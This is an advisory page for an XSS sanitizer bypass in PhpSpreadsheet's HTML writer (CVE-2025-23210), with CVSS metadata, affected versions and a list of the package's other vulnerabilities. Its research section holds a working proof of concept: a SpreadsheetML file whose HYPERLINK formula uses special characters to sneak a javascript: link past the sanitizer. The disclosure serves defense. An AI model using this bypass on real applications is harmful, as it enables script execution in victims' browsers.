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Medium

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

  • Disclosed: 03.02.2025
  • Updated: 11.10.2026 10:22

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

php
<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpoffice/phpexcel <= 1.8.2 no fix
Composer package phpoffice/phpspreadsheet >= 3.0.0, < 3.9.0, < 1.29.9, >= 2.2.0, < 2.3.7, >= 2.0.0, < 2.1.8 3.9.0, 1.29.9, 2.3.7, 2.1.8

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
phpoffice/phpexcel, phpoffice/phpspreadsheet
Disclosed
03.02.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r57h-547h-w24f - CC BY 4.0

Vulnerability history: phpoffice/phpspreadsheet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
11.2019 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 17
  • Medium 12

Disclosures per year

Severity:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    High · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    High · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    High · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Critical CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    High · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    High · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Critical CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    High CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters this entry
    Medium · 5.4 CVE-2025-23210 >= 3.0.0, < 3.9.0, < 1.29.9, >= 2.2.0, < 2.3.7, >= 2.0.0, < 2.1.8 3.9.0, 1.29.9, 2.3.7, 2.1.8
  10. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    High · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    High · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    High · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    High · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  14. XXE in PHPSpreadsheet's XLSX reader
    High · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. XmlScanner bypass leads to XXE
    High · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  16. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    High · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  17. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    High · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  18. XXE in PHPSpreadsheet encoding is returned
    High · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  19. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    High · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  20. XXE in PHPSpreadsheet due to encoding issue
    High · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

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